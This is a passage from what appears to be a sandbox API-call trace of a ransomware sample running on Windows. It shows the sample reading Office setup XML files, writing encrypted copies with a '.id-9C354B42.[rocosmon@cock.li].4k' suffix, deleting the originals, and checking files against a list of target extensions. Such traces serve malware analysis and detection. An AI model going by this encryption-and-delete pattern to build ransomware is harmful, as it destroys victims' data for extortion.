	[0100.594] WriteFile (in: hFile=0x1e8, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.594] SetEndOfFile (hFile=0x1e8) returned 1
	[0100.594] CloseHandle (hObject=0x1e8) returned 1
	[0100.594] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.594] SetEndOfFile (hFile=0x1f0) returned 1
	[0100.595] CloseHandle (hObject=0x1f0) returned 1
	[0100.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1
	[0100.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.596] lstrlenW (lpString=".doc") returned 4
	[0100.596] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.596] lstrlenW (lpString=".docx") returned 5
	[0100.596] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.596] lstrlenW (lpString=".pdf") returned 4
	[0100.596] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.596] lstrlenW (lpString=".xls") returned 4
	[0100.596] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.596] lstrlenW (lpString=".xlsx") returned 5
	[0100.596] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.596] lstrlenW (lpString=".ppt") returned 4
	[0100.596] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.596] lstrlenW (lpString=".zip") returned 4
	[0100.596] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.596] lstrlenW (lpString=".rar") returned 4
	[0100.596] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.596] lstrlenW (lpString=".bz2") returned 4
	[0100.596] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString=".7z") returned 3
	[0100.597] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.597] lstrlenW (lpString=".dbf") returned 4
	[0100.597] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.597] lstrlenW (lpString=".1cd") returned 4
	[0100.597] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.597] lstrlenW (lpString=".jpg") returned 4
	[0100.597] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.597] lstrlenW (lpString=".doc") returned 4
	[0100.597] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString=".docx") returned 5
	[0100.597] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.597] lstrlenW (lpString=".pdf") returned 4
	[0100.597] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString=".xls") returned 4
	[0100.597] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString=".xlsx") returned 5
	[0100.597] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.597] lstrlenW (lpString=".ppt") returned 4
	[0100.597] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.597] lstrlenW (lpString=".zip") returned 4
	[0100.597] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.598] lstrlenW (lpString=".rar") returned 4
	[0100.598] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.598] lstrlenW (lpString=".bz2") returned 4
	[0100.598] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.598] lstrlenW (lpString=".7z") returned 3
	[0100.598] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.598] lstrlenW (lpString=".dbf") returned 4
	[0100.598] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.598] lstrlenW (lpString=".1cd") returned 4
	[0100.598] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103
	[0100.598] lstrlenW (lpString=".jpg") returned 4
	[0100.598] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.598] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.598] lstrlenW (lpString="Proof.XML") returned 9
	[0100.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.789] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1457) returned 1
	[0100.790] CloseHandle (hObject=0x1d8) returned 1
	[0100.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 0x20
	[0100.790] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.790] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.790] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0100.790] GetLastError () returned 0x0
	[0100.791] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x5b1, lpOverlapped=0x0) returned 1
	[0100.803] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x5c0, lpOverlapped=0x0) returned 1
	[0100.806] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.806] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.807] SetEndOfFile (hFile=0x1ac) returned 1
	[0100.807] CloseHandle (hObject=0x1ac) returned 1
	[0100.807] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.807] SetEndOfFile (hFile=0x1d8) returned 1
	[0100.808] CloseHandle (hObject=0x1d8) returned 1
	[0100.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.808] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\proof.xml")) returned 1
	[0100.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.809] lstrlenW (lpString=".doc") returned 4
	[0100.809] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.809] lstrlenW (lpString=".docx") returned 5
	[0100.809] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0100.809] lstrlenW (lpString=".pdf") returned 4
	[0100.809] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.809] lstrlenW (lpString=".xls") returned 4
	[0100.809] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.809] lstrlenW (lpString=".xlsx") returned 5
	[0100.809] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0100.809] lstrlenW (lpString=".ppt") returned 4
	[0100.809] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.809] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.809] lstrlenW (lpString=".zip") returned 4
	[0100.809] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.809] lstrlenW (lpString=".rar") returned 4
	[0100.809] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.809] lstrlenW (lpString=".bz2") returned 4
	[0100.809] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString=".7z") returned 3
	[0100.810] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.810] lstrlenW (lpString=".dbf") returned 4
	[0100.810] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.810] lstrlenW (lpString=".1cd") returned 4
	[0100.810] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.810] lstrlenW (lpString=".jpg") returned 4
	[0100.810] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.810] lstrlenW (lpString=".doc") returned 4
	[0100.810] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString=".docx") returned 5
	[0100.810] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1
	[0100.810] lstrlenW (lpString=".pdf") returned 4
	[0100.810] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString=".xls") returned 4
	[0100.810] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString=".xlsx") returned 5
	[0100.810] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1
	[0100.810] lstrlenW (lpString=".ppt") returned 4
	[0100.810] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.810] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.810] lstrlenW (lpString=".zip") returned 4
	[0100.810] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.810] lstrlenW (lpString=".rar") returned 4
	[0100.811] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.811] lstrlenW (lpString=".bz2") returned 4
	[0100.811] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.811] lstrlenW (lpString=".7z") returned 3
	[0100.811] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.811] lstrlenW (lpString=".dbf") returned 4
	[0100.811] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.811] lstrlenW (lpString=".1cd") returned 4
	[0100.811] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.811] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\Proof.XML") returned 98
	[0100.811] lstrlenW (lpString=".jpg") returned 4
	[0100.811] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.811] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.811] lstrlenW (lpString="SETUP.XML") returned 9
	[0100.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.816] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1608) returned 1
	[0100.816] CloseHandle (hObject=0x1d8) returned 1
	[0100.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 0x20
	[0100.817] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.817] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.817] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.817] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac
	[0100.818] GetLastError () returned 0x0
	[0100.818] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x648, lpOverlapped=0x0) returned 1
	[0100.851] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x650, lpOverlapped=0x0) returned 1
	[0100.852] ReadFile (in: hFile=0x1d8, lpBuffer=0x36c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0100.852] WriteFile (in: hFile=0x1ac, lpBuffer=0x36c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x36c0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe6, lpOverlapped=0x0) returned 1
	[0100.853] SetEndOfFile (hFile=0x1ac) returned 1
	[0100.853] CloseHandle (hObject=0x1ac) returned 1
	[0100.853] SetFilePointerEx (in: hFile=0x1d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0100.853] SetEndOfFile (hFile=0x1d8) returned 1
	[0100.854] CloseHandle (hObject=0x1d8) returned 1
	[0100.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x20) returned 1
	[0100.854] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml")) returned 1
	[0100.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.855] lstrlenW (lpString=".doc") returned 4
	[0100.855] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.855] lstrlenW (lpString=".docx") returned 5
	[0100.855] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.855] lstrlenW (lpString=".pdf") returned 4
	[0100.855] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.855] lstrlenW (lpString=".xls") returned 4
	[0100.855] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.855] lstrlenW (lpString=".xlsx") returned 5
	[0100.855] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.855] lstrlenW (lpString=".ppt") returned 4
	[0100.855] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.855] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.855] lstrlenW (lpString=".zip") returned 4
	[0100.855] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.855] lstrlenW (lpString=".rar") returned 4
	[0100.855] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.855] lstrlenW (lpString=".bz2") returned 4
	[0100.855] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.855] lstrlenW (lpString=".7z") returned 3
	[0100.856] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.856] lstrlenW (lpString=".dbf") returned 4
	[0100.856] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.856] lstrlenW (lpString=".1cd") returned 4
	[0100.856] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.856] lstrlenW (lpString=".jpg") returned 4
	[0100.856] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.856] lstrlenW (lpString=".doc") returned 4
	[0100.856] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString=".docx") returned 5
	[0100.856] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1
	[0100.856] lstrlenW (lpString=".pdf") returned 4
	[0100.856] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString=".xls") returned 4
	[0100.856] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString=".xlsx") returned 5
	[0100.856] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1
	[0100.856] lstrlenW (lpString=".ppt") returned 4
	[0100.856] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1
	[0100.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.856] lstrlenW (lpString=".zip") returned 4
	[0100.856] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1
	[0100.857] lstrlenW (lpString=".rar") returned 4
	[0100.857] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1
	[0100.857] lstrlenW (lpString=".bz2") returned 4
	[0100.857] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1
	[0100.857] lstrlenW (lpString=".7z") returned 3
	[0100.857] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1
	[0100.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.857] lstrlenW (lpString=".dbf") returned 4
	[0100.857] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1
	[0100.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.857] lstrlenW (lpString=".1cd") returned 4
	[0100.857] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1
	[0100.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML") returned 105
	[0100.857] lstrlenW (lpString=".jpg") returned 4
	[0100.857] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1
	[0100.857] lstrcmpiW (lpString1=".XML", lpString2=".4k") returned 1
	[0100.857] lstrlenW (lpString="VisioMUI.XML") returned 12
	[0100.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
	[0100.858] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=9503) returned 1
	[0100.858] CloseHandle (hObject=0x1d8) returned 1
	[0100.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml")) returned 0x20
	[0100.859] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0100.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\VisioMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visio.en-us\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8
